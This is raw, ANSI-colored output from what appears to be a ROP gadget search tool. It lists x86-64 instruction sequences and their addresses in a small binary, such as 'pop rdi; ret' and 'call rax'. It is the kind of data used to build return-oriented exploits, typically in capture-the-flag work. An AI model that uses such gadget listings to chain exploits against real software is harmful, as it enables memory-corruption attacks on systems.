[0;31m0x000000000040123f[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x11dd[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011d0[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mrdi, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1040[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011ba[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mrdi, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1070[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010aa[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040124e[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33msub[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401009[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401009[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010d0[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x10e0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401112[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1120[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x000000000040109f[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[1;33mhlt[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mword ptr cs:[rax + rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401249[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040114b[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rcx], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040124a[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mcl, cl[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401099[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mdil, dil[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madc[0m [0m[0;37meax, 0x2f37[0m[0m[1;34m; [0m[1;33mhlt[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mword ptr cs:[rax + rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401006[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37meax, 0x2fd5[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401006[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37meax, 0x2fd5[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011cd[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37meax, 0xe36[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mrdi, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1040[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401013[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mesp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401012[0m: [0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011d5[0m: [0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1040[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040121b[0m: [0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1050[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011bf[0m: [0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1070[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401141[0m: [0;37m[0;37m[1;33mcall[0m [0m[0;37m0x10c0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mbyte ptr [rip + 0x2f1b], 1[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401237[0m: [0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1166[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x11dd[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401241[0m: [0;37m[0;37m[1;33mcall[0m [0m[0;37m0x11dd[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040109b[0m: [0;37m[0;37m[1;33mcall[0m [0m[0;37mqword ptr [rip + 0x2f37][0m[0m[1;34m; [0m[1;33mhlt[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mword ptr cs:[rax + rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401010[0m: [0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401010[0m: [0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401002[0m: [0;37m[0;37m[1;33min[0m [0m[0;37mal, dx[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mor[0m [0m[0;37mbyte ptr [rax - 0x75], cl[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37meax, 0x2fd5[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x000000000040100e[0m: [0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x000000000040100e[0m: [0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010cb[0m: [0;37m[0;37m[1;33mje[0m [0m[0;37m0x10e0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x10e0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010d5[0m: [0;37m[0;37m[1;33mje[0m [0m[0;37m0x10e0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x000000000040110d[0m: [0;37m[0;37m[1;33mje[0m [0m[0;37m0x1120[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1120[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401117[0m: [0;37m[0;37m[1;33mje[0m [0m[0;37m0x1120[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010dc[0m: [0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011cc[0m: [0;37m[0;37m[1;33mlea[0m [0m[0;37meax, [rip + 0xe36][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mrdi, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1040[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011cb[0m: [0;37m[0;37m[1;33mlea[0m [0m[0;37mrax, [rip + 0xe36][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mrdi, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1040[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401146[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37mbyte ptr [rip + 0x2f1b], 1[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401216[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1050[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040123c[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x11dd[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010cd[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x10e0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x000000000040110f[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1120[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401246[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401005[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37meax, dword ptr [rip + 0x2fd5][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401005[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37meax, dword ptr [rip + 0x2fd5][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040113f[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37mebp, esp[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x10c0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mbyte ptr [rip + 0x2f1b], 1[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010d7[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011d3[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37medi, eax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1040[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011bd[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37medi, eax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1070[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401214[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37medi, eax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1050[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401004[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37mrax, qword ptr [rip + 0x2fd5][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401004[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37mrax, qword ptr [rip + 0x2fd5][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040113e[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37mrbp, rsp[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x10c0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mbyte ptr [rip + 0x2f1b], 1[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011d2[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37mrdi, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1040[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011bc[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37mrdi, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1070[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401213[0m: [0;37m[0;37m[1;33mmov[0m [0m[0;37mrdi, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37meax, 0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x1050[0m[0m[1;34m; [0m[1;33mnop[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010a4[0m: [0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax + rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010ac[0m: [0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010a3[0m: [0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr cs:[rax + rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010a2[0m: [0;37m[0;37m[1;33mnop[0m [0m[0;37mword ptr cs:[rax + rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401003[0m: [0;37m[0;37m[1;33mor[0m [0m[0;37mbyte ptr [rax - 0x75], cl[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37meax, 0x2fd5[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010d6[0m: [0;37m[0;37m[1;33mor[0m [0m[0;37mdword ptr [rdi + 0x404038], edi[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x000000000040114d[0m: [0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401205[0m: [0;37m[0;37m[1;33mpop[0m [0m[0;37mrdi[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040113d[0m: [0;37m[0;37m[1;33mpush[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mrbp, rsp[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37m0x10c0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mbyte ptr [rip + 0x2f1b], 1[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401042[0m: [0;37m[0;37m[1;33mret[0m [0m[0;37m0x2f[0m[0m[1;34m; [0m
|
||||
[0;31m0x000000000040100d[0m: [0;37m[0;37m[1;33msal[0m [0m[0;37mbyte ptr [rdx + rax - 1], 0xd0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401251[0m: [0;37m[0;37m[1;33msub[0m [0m[0;37mesp, 8[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401001[0m: [0;37m[0;37m[1;33msub[0m [0m[0;37mesp, 8[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mrax, qword ptr [rip + 0x2fd5][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401250[0m: [0;37m[0;37m[1;33msub[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401000[0m: [0;37m[0;37m[1;33msub[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37mrax, qword ptr [rip + 0x2fd5][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010a6[0m: [0;37m[0;37m[1;33mtest[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mbyte ptr [rax], al[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x000000000040100c[0m: [0;37m[0;37m[1;33mtest[0m [0m[0;37meax, eax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x000000000040100c[0m: [0;37m[0;37m[1;33mtest[0m [0m[0;37meax, eax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010d3[0m: [0;37m[0;37m[1;33mtest[0m [0m[0;37meax, eax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x10e0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401115[0m: [0;37m[0;37m[1;33mtest[0m [0m[0;37meax, eax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1120[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
